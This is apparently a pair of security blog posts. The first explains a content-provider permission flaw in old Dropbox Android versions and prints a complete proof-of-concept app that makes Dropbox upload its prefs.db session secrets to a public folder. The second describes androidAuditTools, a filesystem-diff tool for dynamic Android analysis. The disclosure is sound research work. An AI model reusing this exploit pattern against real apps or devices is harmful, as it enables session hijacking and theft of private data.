Normally we don’t want any other apps to have access to another app’s content provider, so we block them all by default. This is done in a couple of ways. One by restricting the file permissions to only that the apps UID and GID. But in some cases, content providers want to share their information to other places on the Android platform. Take for example an email app that handles attachments. The content provider should be secured so that other apps can’t access its emails, but if an email has an attachment like an image file, it may want to share that data with other apps like the Gallery Viewer. This is where URI permissions come into play as a way of sharing the content provider in a controlled way. Tyrone took advantage of the permissions allowed on a content provider for the Dropbox app.
Dropbox, for Android versions 1.1.3 and earlier, was setting the permissions of its content provider using the <grant-uri-permission> tag inside AndroidManifest.xml. There’s nothing wrong with that in itself, but grant-uri-permission takes a value of android:path, which is a path to the portions of the device that are allowed to access it. So what happens if that value is “/”? Yeah. Exactly.
But what’s in this content provider. Lets take a look inside the Dropbox database in /data/app/com.dropbox.android/:
You’ll see that the database keeps track of the files that are being synced. What’s interesting to me is the _data field. When you want to add a file to Dropbox, a new record is created that fills in_data with the path of a location to upload. What happens if you were to tell it to upload something sensitive like /data/data/com.dropbox.android/databases/prefs.db. The prefs.db contains the secret key and private information you can use to hijack a dropbox session. Telling it to store it into a location in the public folder will upload it to a world readable web address. Something like this:
http://dl.dropbox.com/u/xxxxxxxxx/prefs.db
Lets put this all together into a simple app.
package com.antitree.dropdropbox;
import android.app.Activity;
import android.os.Bundle;
import android.content.ContentValues;
import android.net.Uri;
public class DropDropBoxActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.<em>main</em>);
//begin exploit
Uri dropbox_uri = Uri.<em>parse</em>("content://com.dropbox.android.Dropbox/metadata/");
ContentValues values = <strong>new</strong> ContentValues();
//path to file to upload. Could also be a file on the sdcard
values.put("_data" , "/data/data/com.dropbox.android/databases/prefs.db");
//Without this the system won’t think the file needs syncing
values.put("local_modified" , 1);
//Tyrone’s logic flawthat blocks it from being able to be deleted
values.put("_display_name" , "");
values.put("is_favorite" , 1);
values.put("revision" , 0);
values.put("icon" , "page_white_text");
values.put("is_dir" , 0);
values.put("path" , "/Public/prefs.db");
values.put("canon_path" , "/public/prefs.db");
values.put("root" , "dropbox");
values.put("mime_type" , "text/xml");
values.put("thumb_exists" , 0);
values.put("parent_path" , "/Public/");
values.put("canon_parent_path" , "/public/");
this.getContentResolver().update(dropbox_uri, values, null, null);
}
}
This an example of what Tyrone created that will add a new record in the Dropbox content provider to tell it to upload the prefs.db to the user’s public folder. This is a pretty boring exploit example but with access to the sdcard and some malware kung-fu, I think you can dream up something much better.
The attack scenario for this vulnerability requires that the attacker have the ability to both install the malicious app on a user that’s using a version less than 1.1.4, and be able to find out the Dropbox ID to retrieve the files. If you’re a Dropbox user, the best way to protect yourself is update to the latest version which came out weeks ago. If you feel like you’ve already been exploited, you’ll need to change your passwords and re-enroll on the device. You may want to consider creating a new account if an attacker already has your user ID.
In the latest version 1.2.3, what’s interesting is that they didn’t change the AndroidManifest.xml permission issue at all. They put the entire app into secure storage. It resolves the issue this time but did it fix the bad programming practices? The take away for all this shouldn’t be that Dropbox has a vulnerability, but rather improper Android development practices are happening even with the larger projects like Dropbox.
Comments disabled
androidAuditTools : Dynamic Android analysis tools
Project is hosted on github: https://github.com/wuntee/androidAuditTools
When taking the SANS reverse engineering malware class, the two analysis techniques taught are dynamic and static. These concepts/techniques are directly applicable to any sort of reverse engineering. When I am assessing, or pen-testing an application I usually separate my thought process into one of those two buckets. During dynamic analysis of a mobile device it becomes very difficult to understand whats going on in the operating system due to the lack of automated tools; there are no tools that can easily hook into the kernel processes that tell you key information like network connections, file writes, etc. I also typically don’t enjoy doing work on a physical device – I prefer doing as much analysis on my computer as possible.
One function I find very beneficial in dynamic malware analysis, but is lacking from anything I have seen in the mobile space, is a tool that has the ability to automate and visualize filesystem differences when performing actions like installing or running applications.
This set of points led me to writing a toolset for the Android platform. First, I wrote a tool that recursively lists the directories in an Android filesystem via adb and has the ability to show the differences between two points in time. It can automatically install APK, and pause for you to run them, interact, and then re-scan. A simple example would be to run google maps, do a search, and close the application.
As you can see, there are many files added ([+]), deleted ([-]) and modified ([c]); that would be almost impossible to determine that from any command line interactions. In fact, I am surprised as to how many files are actually mucked with.
This tool will easily help detect two of the OWASP Top 10 Mobile Security Risks; specifically:
- 1. Insecure or unnecessary client-side data storage
- 5. Failure to implement least privilege authorization policy
This tool can also be helpful during mobile malware analysis. For example, when malware starts targeting specific applications (like the Skype issue presented in a previous post), or malware attempts to root a device through an exploit, it will be easy to see if an application creates or modifies files it shouldn’t.
There are two other tools in the androidTools project:
- findfileswithperms.rb – Find files given a regular expression of the permissions string (ex: find directories – ruby findfileswithperms.rb –perm ‘^d.*’)
- listallfiles.rb – Lists all files on the device given a base directory
Note1: The fsdiff.rb is best used with an emulator because the emulator will automatically drop to a root shell. A (non-rooted) physical devices drops to a a user shell, and does not have access to the entire filesystem; in turn, many changes may be lost.
Note2: This was written in a few hours, there is a lot of functionality that can be added, minimal comments, and potentially many bugs. Please use the github repo for any problems/requests/etc.
Note3: You must run the applications from the bin directory, as it includes the lib directory relative to bin.











